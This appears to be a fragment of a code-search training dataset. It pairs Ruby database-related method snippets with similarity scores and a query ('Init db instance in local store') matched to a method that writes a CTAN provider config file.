"def db_listing\n lista = [] \n achado = $db.query \"SELECT * FROM produtos\" \n achado.each do |vals| \n lista.push vals\n end\n return lista\nend",
"def soapGetSupportedDBs()\n printDebugMessage('soapGetSupportedDBs', 'Begin', 1)\n soapConnect\n res = @soap.getSupportedDBs({})\n if(2 <= @debugLevel)\n p res\n end\n printDebugMessage('soapGetSupportedDBs', 'End', 1)\n return res['getSupportedDBsReturn']\n end",
"def scan_databases_dir\n database_dir = config[:database_dir]\n list = %x|blastdbcmd -recursive -list #{database_dir} -list_outfmt \"%f\t%t\t%p\t%n\t%l\t%d\" 2>&1|\n list.each_line do |line|\n name = line.split('\t')[0]\n next if multipart_database_name?(name)\n self << Database.new(*line.split('\t'))\n end\n end",
"def list(queries: nil, search: nil)\n path = '/databases'\n\n params = {\n queries: queries,\n search: search,\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'GET',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::DatabaseList\n )\n end",
"def list_known_servers\n connect.servers.all\n end",
"def try_databases\n db = Database.new(application_root, config, settings)\n db.configure\n end",
"def checkpoints\n db_pattern = \"#{sql_connection.escape(@db_backup)}\".gsub(\"_\", \"\\\\_\").gsub(\"%\", \"\\\\%\")\n # TODO: this should be quoted properly.\n result = sql_connection.execute(\"SHOW DATABASES LIKE '#{db_pattern}\\\\_%'\")\n prefix_length = @db_backup.length+1\n sql_connection.normalize_result(result).map {|db| db[prefix_length..-1] }\n end",
"def determine_databases\n db = @info[:db] = {}\n mysql_count_cmd = 'find /var/lib/mysql* -maxdepth 0 -type d ' \\\n '2>/dev/null|wc -l'\n db[:count] = @shell.query('DB_MYSQL_COUNT', mysql_count_cmd)\n db[:count] = db[:count].to_i\n\n mysql_size_cmd = \"du -s /var/lib/mysql 2>/dev/null|awk '{print $1}'\"\n db[:size] = @shell.query('DB_MYSQL_SIZE', mysql_size_cmd)\n db[:size] = db[:size].to_i\n end",
"def list_deadservers\n @admin.listDeadServers.to_a\n end",
"def plugins\n @plugin_list\n end",
"def info\n specified_db_or_all { |db| display_db_info db }\n end",
"def tenant_names\n connection.execute('select datname from pg_database;').collect { |row| row['datname'] }\n end",
"def db_list(exp = nil)\n @lastaction = \"db_list\"\n @force_no_grid_xml = true\n model = case @sb[:active_tab] # Build view based on tab selected\n when \"db_connections\" then VmdbDatabaseConnection\n when \"db_details\" then VmdbTableEvm\n when \"db_indexes\" then VmdbIndex\n when \"db_settings\" then VmdbDatabaseSetting\n end\n\n if model == VmdbIndex\n # building a filter with expression to show VmdbTableEvm tables only\n exp = MiqExpression.new(\n \"and\" => [\n {\n \"=\" => {\n \"value\" => \"VmdbTableEvm\",\n \"field\" => \"VmdbIndex.vmdb_table-type\"\n }\n }\n ]\n )\n elsif model == VmdbDatabaseConnection\n @zones = Zone.visible.order(:name).collect { |z| [z.name, z.name] }\n # for now we dont need this pulldown, need to get a method that gives us a list of workers for filter pulldown\n # @workers = MiqWorker.all.sort_by(&:type).collect { |w| [w.friendly_name, w.id] }\n end\n\n @view, @pages = get_view(model, :filter => exp ? exp : nil) # Get the records (into a view) and the paginator\n\n @no_checkboxes = true\n @showlinks = true # Need to set @showlinks if @no_checkboxes is set to true\n @current_page = @pages[:current] unless @pages.nil? # save the current page number\n\n if @show_list\n update_gtl_div('db_list') if params[:action] == \"list_view_filter\" || pagination_or_gtl_request?\n end\n end",
"def db_info\n @conn.query({url_path: \"#{database}\", method: :get})\n end",
"def publishers_coll\n settings.db['publishers']\n end",
"def backup_databases\n cloud_databases - ['redis']\n end",
"def load_droplets\n logger.debug 'Loading list of DigitalOcean droplets'\n self.droplets = api.droplets\n end",
"def info\n specified_db_or_all { |db| display_db_info db }\n end",
"def list_products_stored\n list = DATABASE.execute(\"SELECT name FROM products WHERE shelf_id = #{@id}\")\n end",
"def dbs_init\n @dbs_hash = Dir[\"#{dbs_store}/*.db\"]\n .map do |dbfile|\n File.open(dbfile){|f| JSON.parse(f.read, symbolize_names: true)}\n end\n .inject({}) do |h, db|\n h.update({\n db[:name].to_sym => LaPack::const_get(db[:clazz]).new(self, db[:params])\n })\n end\n end",
"def load_used_dns_plugins\n dns_plugins = Vmpooler::Dns.get_dns_plugin_config_classes(config)\n Vmpooler::Dns.load_by_name(dns_plugins)\n end",
"def collect_queries(db_name)\n # find the queries\n found_queries = AppQuery.map_from_pg_stat_statements(PostgresDb::PgStatStatement.statements_for_database(db_name))\n\n # associate them\n found_queries.each do |query|\n app_queries << query\n end\n\n return found_queries\n end",
"def list_installed_addons()\n list = Array.new\n addons = Array.new\n \n Dir.foreach(@addons) {|x| list.push x }\n \n list.each do |l|\n if !@no_way.index(l)\n addons.push l\n end\n end\n \n return addons\n end",
"def domains_list\n call('domains.list')[:domains]\n end",
"def get_drivers\n return return_all_drivers\n end",
"def available_plugins\n PluginList.availables(@client)\n end",
"def list\n logger.info \"Retrieving Vagrant plugin list for #{description}\"\n output = instance.execute!(:plugin, \"list\").stdout\n Derelict::Parser::PluginList.new(output).plugins\n end",
"def drivers\n send :adapters\n end",
"def subscriptions(dbname = nil)\n subscriptions = typed_exec(<<-SQL).to_a\n SELECT\n sub.subname::TEXT AS subscription_name,\n pg_database.datname::TEXT AS database_name,\n pg_user.usename::TEXT AS owner,\n COUNT(sub_stat.pid) AS worker_count,\n sub.subenabled AS enabled,\n sub.subconninfo AS subscription_dsn,\n sub.subslotname::TEXT AS slot_name,\n sub.subpublications AS publications,\n stat.remote_lsn::TEXT AS remote_replication_lsn,\n stat.local_lsn::TEXT AS local_replication_lsn\n FROM\n pg_subscription AS sub\n JOIN pg_user\n ON sub.subowner = usesysid\n JOIN pg_database\n ON sub.subdbid = pg_database.oid\n LEFT JOIN pg_replication_origin_status stat\n ON concat('pg_', sub.oid) = stat.external_id\n LEFT JOIN pg_stat_subscription sub_stat\n ON sub_stat.subid = sub.oid AND sub_stat.pid IS NOT NULL\n GROUP BY\n sub.subname,\n pg_database.datname,\n pg_user.usename,\n sub.subenabled,\n sub.subconninfo,\n sub.subslotname,\n sub.subpublications,\n stat.remote_lsn,\n stat.local_lsn\n SQL\n\n dbname ? subscriptions.select { |s| s[\"database_name\"] == dbname } : subscriptions\n end",
"def all_servers\n Infrataster::Server.defined_servers.map { |i| server(i.name) }\nend",
"def provided_pools\n list = []\n @config[:pools].each do |pool|\n list << pool['name'] if pool['provider'] == name\n end\n list\n end",
"def getDatabaseInfo(dbName)\n printDebugMessage('getDatabaseInfo', 'Begin', 11)\n dbInfo = nil\n dbInfoList = getDatabaseInfoList()\n dbInfoList.each{ |tmpDbInfo|\n if tmpDbInfo.elements['name'].text == dbName\n dbInfo = tmpDbInfo\n else\n tmpDbInfo.each_element('aliasList/alias') { |value|\n if value.text == dbName\n dbInfo = tmpDbInfo\n end\n }\n end\n }\n printDebugMessage('getDatabaseInfo', 'End', 11)\n return dbInfo\n end",
"def database_info\n doc = self['admin'].command(:listDatabases => 1)\n returning({}) do |info|\n doc['databases'].each { |db| info[db['name']] = db['sizeOnDisk'].to_i }\n end\n end",
"def index\n @databases = Database.all.order(:name)\n end",
"def list\n addons = heroku.addons\n if addons.empty?\n display \"No addons available currently\"\n else\n available, beta = addons.partition { |a| !a['beta'] }\n display_addons(available)\n if !beta.empty?\n display \"\\n--- beta ---\"\n display_addons(beta)\n end\n end\n end",
"def provided_pools\n @config[:pools].select { |pool| pool['dns_config'] == name }.map { |pool| pool['name'] }\n end",
"def pool(pool_name)\n matched_servers = []\n do_client.droplets.all.each do |server|\n matched_servers << server if server.name.include?(pool_name)\n end\n return matched_servers\n end",
"def list_flavors()\n response = dbreq(\"GET\", dbmgmthost, \"#{dbmgmtpath}/flavors\", dbmgmtport, dbmgmtscheme)\n CloudDB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n flavors = CloudDB.symbolize_keys(JSON.parse(response.body)[\"flavors\"])\n return flavors\n end",
"def dnsbls\n @dnsbls.keys\n end",
"def bridges_list\n get \"bridges\"\n end",
"def merged_backends\n return []\n end",
"def list_instances()\n response = dbreq(\"GET\", dbmgmthost, \"#{dbmgmtpath}/instances\", dbmgmtport, dbmgmtscheme)\n CloudDB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n instances = CloudDB.symbolize_keys(JSON.parse(response.body)[\"instances\"])\n return instances\n end",
"def list\n ridley.environment.all\n end",
"def getChannelList\n begin\n channelList = []\n query = \"SELECT * FROM `#{CHANNEL_TABLE}`\"\n \n self.connect unless self.connected? # => connect to the DB server if not connected\n \n sth = @dbh.prepare(query)\n \n sth.execute()\n \n sth.fetch { |row| \n channelList << Hash[\"id\" => row[0], \"name\" => to_utf8(row[1])]\n } \n \n \n sth.finish\n \n rescue DBI::DatabaseError => e\n puts \"An error occurred\"\n puts \"Error code: #{e.err}\"\n puts \"Error message: #{e.errstr}\"\n @dbh.rollback\n rescue Exception => e \n puts \"error!!! -> : #{e.to_s}\"\n \n ensure\n # disconnect from server\n @dbh.disconnect if @connected\n @connected=false\n end\n return channelList\n end",
"def schemas\n sql = \"SELECT nspname FROM pg_namespace WHERE nspname !~ '^pg_.*'\"\n ActiveRecord::Base.connection.query(sql).flatten\n end",
"def datasources_hidden_list(options = {})\n if options[:all_sources]\n []\n else\n datasource_list(:minor).reject { |source| source == options[:active_source] }\n end\n end",
"def datasources_hidden_list(options = {})\n if options[:all_sources]\n []\n else\n datasource_list(:minor).reject { |source| source == options[:active_source] }\n end\n end",
"def get_drivers\n drivers\n end",
"def expand_entities_list(apply_ignore_filter = true)\n @config.entities.inject({ }) do |h, source|\n h[source] =\n case (source)\n when /^mysql:\\/\\/([^\\/]+)\\/(.*)/\n db_list = [ ]\n db = Gititback::Database.new(@config.connections[$1.to_sym])\n db.connection($1) do |c|\n if $2 == '*'\n c.query(\"SHOW DATABASES\") do |res|\n while (row = res.fetch_row)\n db_list << row[0]\n end\n end\n else\n db_list << $2\n end\n end\n db_list\n else\n Dir.glob(File.expand_path(source)).reject do |path|\n !File.directory?(path) or (apply_ignore_filter and should_ignore_source?(path))\n end\n end\n h\n end\n end",
"def list_instances()\n response = dbreq(\"GET\",lbmgmthost,\"#{lbmgmtpath}/instances\",lbmgmtport,lbmgmtscheme)\n CloudDB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n instances = CloudDB.symbolize_keys(JSON.parse(response.body)[\"instances\"])\n return instances\n end",
"def installed_plugins\n PluginList.installed(@client)\n end",
"def plugins\n return call('Bugzilla.plugins')\n end",
"def breakdowns_coll\n settings.db['breakdowns']\n end",
"def sapi_list\n @sapi_list ||= if supports_php5query?\n `/usr/sbin/php5query -q -S`.split(\"\\n\")\n else Array.new\n end\n end",
"def available_servers\n authenticate_user!\n @rackspace_servers = Server.rackspace_servers\n end",
"def list\n response = self.class.get('/droplets', headers: @header)\n tratar_response(response)\n end",
"def domains\n connection.list_domains[:domains]\n end",
"def database_info\n doc = single_db_command('admin', :listDatabases => 1)\n h = {}\n doc['databases'].each { |db|\n h[db['name']] = db['sizeOnDisk'].to_i\n }\n h\n end",
"def db_instances(region)\n logger.info(\"fetching db instances of region #{region}\")\n rds_client = get_rds_client(region)\n next_token = nil\n rds_instances = []\n\n loop do\n options = { marker: next_token }\n resp = rds_client.describe_db_instances(options)\n rds_instances += resp.db_instances\n next_token = resp.marker\n break unless next_token\n end\n rds_instances\n end",
"def components_list host_instance\n values = []\n host_instance.roles.each do |role|\n # This addresses an error in older config files\n role_value = role == :dbserver ? 'datastore' : role.to_s\n values << role_value\n end\n if host_instance.is_load_balancer?\n values << 'load_balancer'\n end\n \"[\" + values.map{ |r| \"'#{r}'\" }.join(',') + \"]\"\nend",
"def available_plugins\n @plugins.keys\n end",
"def get_all_tables\n query = @db_connection.query('SHOW DATABASES;')\n @db_connection.close if @db_connection\n query.each do |x|\n begin\n db_connection = Mysql.connect(@host, @user, @pass, x[0], @port.to_i)\n print_good(\"Tables for #{x[0]}\")\n query = db_connection.query('SHOW TABLES;')\n query.each { |y| print_line(\"#{y[0]}\") }\n puts\n db_connection.close if db_connection\n rescue Mysql::Error => e\n print_error(\"Problem getting tables from #{x[0]}!\")\n print_error(\"#{e}\")\n end\n end\n @db_connection = Mysql.connect(@host, @user, @pass, @db, @port.to_i)\n end",
"def sqlspecs\r\n if !@sqlspecs\r\n require \"#{File.dirname(__FILE__)}/drivers/#{@opts[:type]}/knjdb_#{@opts[:type]}_sqlspecs\" if ([email protected]?(:require) or @opts[:require])\r\n @sqlspecs = Kernel.const_get(\"KnjDB_#{@opts[:type]}\".to_sym).const_get(:Sqlspecs).new(\r\n :db => self\r\n )\r\n end\r\n \r\n return @sqlspecs\r\n end",
"def servers(backend = nil)\n my_servers = []\n if backend.nil?\n # return all servers\n backend_instances.each_value do | backend|\n my_servers << backend.server_names\n end\n else\n begin\n my_servers = backend_instances[backend].server_names\n rescue KeyError => e\n \"The backend #{backend} is not a valid argument\"\n end\n end\n # return a list of serv\n my_servers.flatten.uniq\n end",
"def get_db\n manif = Project.miga_online_manif\n @downloadable = manif[:databases].map do |name, i|\n local = Project.find_by(path: name)\n local_v = (local.miga.metadata[:release] || 'unknown') if local && local.miga\n latest = i[:versions][i[:latest].to_sym]\n file = File.join(Settings.miga_projects, latest[:path])\n downloading = File.size(file) * 100 / latest[:size] if File.exist?(file)\n i.merge(name: name, local: local_v, downloading: downloading)\n end\n end"
] |
[
"0.7178185",
"0.71725",
"0.69809973",
"0.69576335",
"0.6937381",
"0.6937381",
"0.691242",
"0.67409647",
"0.66531634",
"0.6648643",
"0.66111183",
"0.660588",
"0.6599184",
"0.6520857",
"0.6503281",
"0.6490184",
"0.64290416",
"0.64260924",
"0.63850975",
"0.636189",
"0.6343547",
"0.6281539",
"0.62559175",
"0.6243914",
"0.61989033",
"0.6180461",
"0.613531",
"0.60701513",
"0.60638845",
"0.6060887",
"0.60438657",
"0.60272694",
"0.5946028",
"0.58533984",
"0.5845856",
"0.5838939",
"0.5820907",
"0.58109677",
"0.571722",
"0.57133806",
"0.56563836",
"0.56460696",
"0.5623759",
"0.5613315",
"0.55850416",
"0.55706507",
"0.5545399",
"0.5503187",
"0.5452008",
"0.5438095",
"0.541747",
"0.5406269",
"0.5405424",
"0.54035866",
"0.53968763",
"0.53949296",
"0.53844464",
"0.5383426",
"0.53699183",
"0.53698045",
"0.53629816",
"0.5362763",
"0.53625387",
"0.5359349",
"0.5335074",
"0.53273904",
"0.53245676",
"0.53077817",
"0.5306431",
"0.5297711",
"0.52652544",
"0.5264725",
"0.5260997",
"0.5258639",
"0.5256398",
"0.5247339",
"0.5241935",
"0.52327245",
"0.52314085",
"0.5230607",
"0.52279294",
"0.52279294",
"0.5218265",
"0.5213467",
"0.52129555",
"0.5206908",
"0.5205829",
"0.5190131",
"0.51897407",
"0.5184394",
"0.518154",
"0.5178114",
"0.5177667",
"0.5176649",
"0.51691085",
"0.51672477",
"0.5166005",
"0.51616883",
"0.5160532",
"0.51545763"
] |
0.7217299
|
0
|
Init db instance in local store
|
def add(db, params = {})
if(db.to_sym.eql?(:ctan))
File.open(File.join(dbs_store, "#{db}.db"), "w") {|f| f << {name: 'ctan', clazz: 'CtanProvider', params: {}}.to_json}
else
raise "Unsupported"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize\n #puts \"in initialize of class #{self.class.to_s}\"\n\n @store = get_store\n ActiveRecord::Base.connection = @store\n end",
"def initialize\n self.db = YAML::Store.new(DB_FILE)\n end",
"def db_setup\n log_debug\n db_file = find_db\n db_tmp = '/tmp/plex_missing_tmp.db'\n @db = ''\n \n # cp to tmp as the db is locked if being used\n `cp \"#{db_file}\" #{db_tmp}`\n \n # not too sure why but i was having a problem where a 0 byte file was cp'd\n # def a local issue i assume but the check was needed\n if test ?s, db_tmp\n @db = SQLite3::Database.new db_tmp\n else \n puts \"error-> can not open #{db_tmp} for reasing\"\n exit 2\n end\n end",
"def setup_storage\n ActiveRecord::Base.establish_connection(\n adapter: 'sqlite3',\n database: 'meshchat.sqlite3',\n pool: 128\n )\n\n create_database\n end",
"def setup_database\n Hanami::Model.load!\n end",
"def database\n Database.initialize_with(connection)\n end",
"def init_db\n db_filename = './coord_cache.db'\n puts \"Creating db file '#{db_filename}'\" unless File.exist?(db_filename)\n @coord_db = SQLite3::Database.new(db_filename)\n @coord_db.execute('CREATE TABLE IF NOT EXISTS coords ' \\\n '(id INTEGER PRIMARY KEY AUTOINCREMENT, ' \\\n ' osm_id BIGINT, ' \\\n ' lat REAL, ' \\\n ' lon REAL)')\nend",
"def db\n @db ||= find_or_create_database\n end",
"def init(dir)\n dir = File.expand_path(dir)\n db_file = db(dir)\n raise \"Database #{db_file} already exists\" if File.exist?(db_file)\n FileUtils.mkdir_p(File.dirname(db_file))\n # create database\n monotone(\"db init\", db_file)\n # TODO: do a genkey\n monotone(\"read\", db_file) do |io|\n io.write(File.open(@keys_file).read)\n io.close_write\n end\n end",
"def initialize(db)\n @db = db\n end",
"def initialize(db)\n @db = db\n end",
"def dbs_init\n @dbs_hash = Dir[\"#{dbs_store}/*.db\"]\n .map do |dbfile|\n File.open(dbfile){|f| JSON.parse(f.read, symbolize_names: true)}\n end\n .inject({}) do |h, db|\n h.update({\n db[:name].to_sym => LaPack::const_get(db[:clazz]).new(self, db[:params])\n })\n end\n end",
"def db\n @db ||= Database.new\n end",
"def initialize(db)\n @db = db\n end",
"def initialize_database(database_path = './secrets.db')\n DataMapper.finalize\n\n database_path = File.expand_path database_path\n\n @dm = DataMapper.setup(:default, \"sqlite:///#{database_path}\")\n\n return if File.exist? database_path\n\n SQLite3::Database.new(database_path)\n DataMapper.auto_migrate!\n end",
"def initialize( db )\n @db = db\n end",
"def db\n $db ||= Db.new database: 'results.db'\nend",
"def initialize(config)\n run_hook(:before_initialize, config)\n\n @config = config\n raise ::SORM::NotConfigured, \"You should configure database path\" unless has_config?\n\n @db = SDBM.open config[:database]\n\n run_hook(:after_initialize, db)\n end",
"def db\n @db ||= (create_directory cache_path; SQLite3::Database.new cache_path)\n end",
"def db(options = {})\n @_sequelizer_db ||= new_db(options)\n end",
"def set_db\n @db = Db.find(params[:id])\n end",
"def reinitialize_db\n drop_db\n initialize_db\n end",
"def db_setup\n path_to_db = \"/tmp/temp_humidity.db\"\n SQLite3::Database.open(path_to_db).tap do | db |\n # Do anything here before we begin\n end\nend",
"def open\n create_database\n end",
"def setup\n clear_db\n\n @db = Wgit::Database.new\n end",
"def db_setup\n path_to_db = File.join(File.dirname(__FILE__), \"temp_humidity.db\")\n SQLite3::Database.open(path_to_db).tap do | db |\n # Do anything here before we begin\n end\nend",
"def init_example_db\n # Create repos table\n database.create_table :repos do\n primary_key :id\n String :name\n foreign_id :token_id\n end\n\n # Add example repositories\n r = database[:repos]\n r.insert(:name => \"josefwaller/pycatan\")\n r.insert(:name => \"josefwaller/github_dash\")\n r.insert(:name => \"rails/rails\")\n\n # Create tokens table\n database.create_table :tokens do\n primary_key :id\n String :token\n String :name\n end\n\n # Add example token\n t = database[:tokens]\n ENV['GITHUB_DASH_TOKEN'] ||= \"ThisIsAnExampleGithubApiKey\"\n t.insert(:token => ENV['GITHUB_DASH_TOKEN'])\n end",
"def connect_non_hash\r\n db=SQLite3::Database.new(\"db/slutpro.db\")\r\n return db\r\n end",
"def build_db\n @db = Moped::Session.new([ ENV['MONGO_HOST'] ])\n @db.use ENV['MONGO_DB']\n end",
"def db; end",
"def db; end",
"def initialize(file_name='persistance.db')\n require 'gdbm'\n # Creates database file if it doesn't exist\n @file_name = file_name\n unless File.directory?('db')\n Dir.mkdir('db/')\n end\n @db = GDBM.new('db/' + file_name)\n @wallet_db = GDBM.new('db/wallets_' + file_name)\n end",
"def database; datastore['DATABASE']; end",
"def db\n @db ||= YAML::Store.new(DB_FILE)\n end",
"def initialize_db\n create_indexes_for_all_models\n end",
"def started_db\n start unless db.running?\n db\n end",
"def started_db\n start unless db.running?\n db\n end",
"def initialize config\n connect config\n create_table_if_not_exists!\n end",
"def store\n @store ||= Globot::Store.new(Globot.config.for_plugin('database'))\n end",
"def use_database(db)\n self.database = db\n end",
"def set_DB()\n self.is_db = 1\n save()\n end",
"def create_initial_database\n db_class = RailsInstaller::Database.dbs[config['database']]\n in_directory(install_directory) do\n db_class.create(self)\n end\n end",
"def initialize\n #Opens a SQLite 3 database file\n @db = SQLite3::Database.new File.join(Dir.pwd,\"lib\",\"app\",\"TentsAndTrees\",\"Game\",\"Core\",\"DB\",\"db.sqlite\")\n end",
"def initialize_persistence(world, options = {})\n persistence_class.new(default_sequel_adapter_options(world).merge(options))\n end",
"def initialize_database\n @db = SQLite3::Database.new @database_path\n File.chmod 0600, @database_path\n begin\n @db.execute 'drop table if exists host;'\n @db.execute <<-SQL\n create table host (\n id INT,\n name varchar(254)\n );\n SQL\n sync_host_table\n rescue\n File.unlink @database_path\n raise\n end\n end",
"def db\n self.class.db\n end",
"def initialize_database\n config = YAML::load(IO.read(Antfarm::Helpers.defaults_file))\n # Database setup based on adapter specified\n if config && config[ANTFARM_ENV] && config[ANTFARM_ENV].has_key?('adapter')\n if config[ANTFARM_ENV]['adapter'] == 'sqlite3'\n config[ANTFARM_ENV]['database'] = Antfarm::Helpers.db_file(ANTFARM_ENV)\n elsif config[ANTFARM_ENV]['adapter'] == 'postgres'\n config[ANTFARM_ENV]['database'] = ANTFARM_ENV\n else\n # If adapter specified isn't one of sqlite3 or postgresql,\n # default to SQLite3 database configuration.\n config = nil\n end\n else\n # If the current environment configuration doesn't specify a\n # database adapter, default to SQLite3 database configuration.\n config = nil\n end\n # Default to SQLite3 database configuration\n config ||= { ANTFARM_ENV => { 'adapter' => 'sqlite3', 'database' => Antfarm::Helpers.db_file(ANTFARM_ENV) } }\n if config[ANTFARM_ENV]['adapter'] == 'postgres'\n DataMapper.setup(:default, \"postgres:///#{config[ANTFARM_ENV]['database']}\")\n else\n DataMapper.setup(:default, \"sqlite3://#{config[ANTFARM_ENV]['database']}\")\n end\n end",
"def init_data\n Bot::DB[my_name] ||= {}\n end",
"def init_data\n Bot::DB[my_name] ||= {}\n end",
"def initialize\n\t\t# Define the database connection to the dentist_book.db SQLite database.\n\t\t@dbConnection = SQLite3::Database.new( \"./../db/dentist_book.db\" )\n\tend",
"def initialize\n @client = SQLite3::Database.new 'haunt.db' # Edit that to change loc\n @dbs = []\n @client.execute(\n \"SELECT name FROM sqlite_master WHERE type = \\\"table\\\"\") do |row|\n @dbs << row[0]\n end\n end",
"def init\n super_init\n @persistent_store = PersistentStore.alloc.init\n create_all_tiles if @persistent_store.fresh?\n self\n end",
"def database(loc)\n @db = GeoIPCity::Database.new(loc, :filesystem)\n end",
"def initialize(dbname = Namey.db_path) \n @db = Sequel.connect(dbname)\n end",
"def _db\n @_db ||= Sequel::DATABASES.first || Sequel.sqlite\n end",
"def initialize(opts = {})\n if opts[:path]\n @path = opts[:path]\n else\n @path = DEFAULT_DB_PATH\n end\n\n @db = SQLite3::Database.new(@path)\n\n create()\n end",
"def open(options)\n @db ||= options[:connection]\n return @db if @db\n\n if options[:path] && !File.exist?(options[:path])\n @db = SQLite3::Database.new(options[:path])\n setup\n end\n\n raise StoreException.new(\"Attempt to open missing database file #{options[:path]}\") unless File.exist?(options[:path])\n @db = SQLite3::Database.new(options[:path])\n end",
"def initialize(uri)\n @uri = uri\n# create_database_if_missing!\n end",
"def database \n # NOTE:: Having an instance variable here, causes problems\n # when having two Sinatra Apps, each with their own db setup.\n # the instance variable retains only the last setup, so the\n # first setup is overwritten.\n @database ||= ::DataMapper.setup(dm_setup_context, dm_database_url)\n end",
"def initialize filename = 'db.yaml'\n FileUtils.touch(filename)\n @db = YAML::Store.new(filename)\n end",
"def update_db\n require \"#{File.dirname(__FILE__)}/../conf/db_schema.rb\"\n Knj::Db::Revision.new.init_db(\"debug\" => false, \"db\" => @db, \"schema\" => Openall_time_applet::DB_SCHEMA)\n end",
"def db_setup(options = {}, &block)\n # noinspection RubySimplifyBooleanInspection\n Sequel.single_threaded = (options.andand[:single_threaded] == true)\n\n db_connect.tap do |db|\n if options[:use_models]\n Sequel::Model.db = db\n\n if options[:use_prepares]\n Sequel::Model.plugin :prepared_statements\n Sequel::Model.plugin :prepared_statements_associations\n end\n\n require_relative '../models.rb'\n end\n\n if db.respond_to?(:stream_all_queries) && options[:stream_all_queries]\n db.stream_all_queries = options[:stream_all_queries]\n end\n\n block.call(db) if block_given?\n end\n end",
"def setup!\n ActiveRecord::Base.configurations[configuration_name] = db_config\n ActiveRecord::Base.establish_connection(configuration_name).connection\n self\n end",
"def initialize\n @database = Sequel.connect(ENV['DATABASE_URL'])\n end",
"def create_db\n SQLite3::Database.new \"flatiron.db\"\nend",
"def get_db\n if @db==nil\n @db = Mongo::Connection.new(@db_host, @db_port).db(@db_name)\n QME::MongoHelpers.initialize_javascript_frameworks(@db)\n end\n @db\n end",
"def get_db\n if @db==nil\n @db = Mongo::Connection.new(@db_host, @db_port).db(@db_name)\n QME::MongoHelpers.initialize_javascript_frameworks(@db)\n end\n @db\n end",
"def open_db\n if Config.db =~ /^sqlite:\\/{3}(.+)$/\n dir = File.dirname($1)\n FileUtils.mkdir_p(dir) unless File.directory?(dir)\n end\n\n Sequel.datetime_class = Time\n\n @db = Sequel.connect(Config.db, :encoding => 'utf8')\n @db.test_connection\n\n if trait[:sql_log]\n require 'logger'\n @db.logger = Logger.new(trait[:sql_log])\n end\n\n rescue => e\n Ramaze::Log.error(\"Unable to connect to database: #{e}\")\n exit(1)\n end",
"def db\n @db ||= new_connection\n end",
"def open_database\n if File.exist? @database_path\n validate_database\n @db = SQLite3::Database.new @database_path\n else\n initialize_database\n end\n end",
"def connect_to_db()\n SQLite3::Database.new('db/database.db')\n end",
"def initialize(path, username=nil, email=nil)\n @stale = true # DB is always stale until it is initialized\n\n init = false\n if not File.exist? path\n Repo.create(path)\n init = true\n end\n\n super(path)\n @stale = false # DB is connected!\n\n if init\n # initial commit is needed for branches to work smoothly\n stage { |idx| idx.add('.git-ds/version', \"1.0\\n\") }\n staging.commit('Database initialized.')\n unstage\n end\n\n @actor = Grit::Actor.new(username, email) if username\n @subscribers = {}\n\n end",
"def open(opts)\n db = Database.new(opts)\n yield db if block_given?\n db\n end",
"def database\n @database ||= self.class.database\n end",
"def data_mapper_init db_type = @config.db_type, db_path = @config.db_path, logging = @options.debug # {{{\n # DataMapper::Logger.new( $stdout, :debug ) if( logging )\n\n db_connector = \"#{db_type}://#{Dir.pwd}/#{db_path}\"\n\n @log.message :info, \"We don't have any DataMapper init info, so we will create a new database at #{db_connector.to_s} (JokeMachine)\"\n DataMapper.setup( :default, db_connector )\n\n # DataMapper.auto_migrate! # wipe out existing data\n DataMapper.auto_upgrade! # try to preserve data and insert NULL's if new colums\n DataMapper.finalize\n end",
"def install_initial_state\n db = kernel.resources.db\n db.default.submissions = []\n db.default.valid_submissions = []\n db.default.challengers = []\n db.default.people = (1..5).collect{|i| user_tuple(i, true) }\n db.default.challengers = (1..5).collect{|i| challenger_tuple(i) }\n end",
"def get_db\n # we want to check a couple levels 2011-09-28 \n unless @db\n unless File.exists? @file\n 3.times do |i|\n @file = \"../#{@file}\"\n break if File.exists? @file\n end\n end\n end\n @db ||= DB.new @file\n end",
"def test_DB_initialization\n @fdb = setup\n assert(@fdb.size > 0, \"Database entries not correctly read in\")\n end",
"def database\n @__database__ ||= begin\n db = SQLite3::Database.new(\"weather.db\")\n db.results_as_hash = true\n db \n end\nend",
"def initialize(database)\r\n @database = database\r\n end",
"def initializeORM()\n\t# nothing to do\nend",
"def init_database\n\t\tif([email protected]_exists?(:events))\n\t\t\[email protected]_table :events do\n\t\t\t\tprimary_key :id\n\t\t\t\tString :name\n\t\t\t\tString :description\n\t\t\t\tString :date\n\t\t\tend\n\t\tend\n\n\t\tif([email protected]_exists?(:timeslots))\n\t\t\[email protected]_table :timeslots do\n\t\t\t\tString :time\n\t\t\t\tString :parent_table\n\t\t\t\tString :parent_id\n\t\t\tend\n\t\tend\n\n\t\tif([email protected]_exists?(:attendees))\n\t\t\[email protected]_table :attendees do\n\t\t\t\tprimary_key :id\n\t\t\t\tString :name\n\t\t\t\tString :parent_id\n\t\t\tend\n\t\tend\n\tend",
"def openDBRanked()\n\t\t@rankedDB \t\t= SQLite3::Database.new File.expand_path('../../../Data/ranked.db', File.dirname(__FILE__))\n\t\t@rankedTimeDB \t= SQLite3::Database.new File.expand_path('../../../Data/rankedTime.db', File.dirname(__FILE__))\n\tend",
"def initialize(app, options={})\n options = {:db => options } if options.is_a? ::Sequel::Database\n super\n @mutex = Mutex.new\n setup_database\n end",
"def initialize(root, name)\n @sdbm = ::SDBM.new(\"#{root}/#{name}\")\n end",
"def initialize(config)\n self.connection = ConnectionExtenders.db_connect config\n self.config = config\n self.manual_primary_keys = {}\n end",
"def open\n close\n @db = SQLite3::Database.new(@options[:filename])\n self\n end",
"def init_schema\n return unless in_memory_database?\n\n inform_using_in_memory unless silent?\n\n if silent? || quiet?\n load_schema_silently\n else\n load_schema\n end\n end",
"def db\n Doozer::Configs.db_conn\n end",
"def db\n Doozer::Configs.db_conn\n end",
"def initDb\n @db.create_table! :tasks do\n primary_key :id\n Integer :created\n Integer :changed\n Integer :wake\n Integer :completed\n Integer :status\n String :title\n String :path\n String :data, :text=>TRUE\n end\n\n @db.create_table! :locks do\n Integer :id, :primary_key=>TRUE\n Integer :locked\n end\n end",
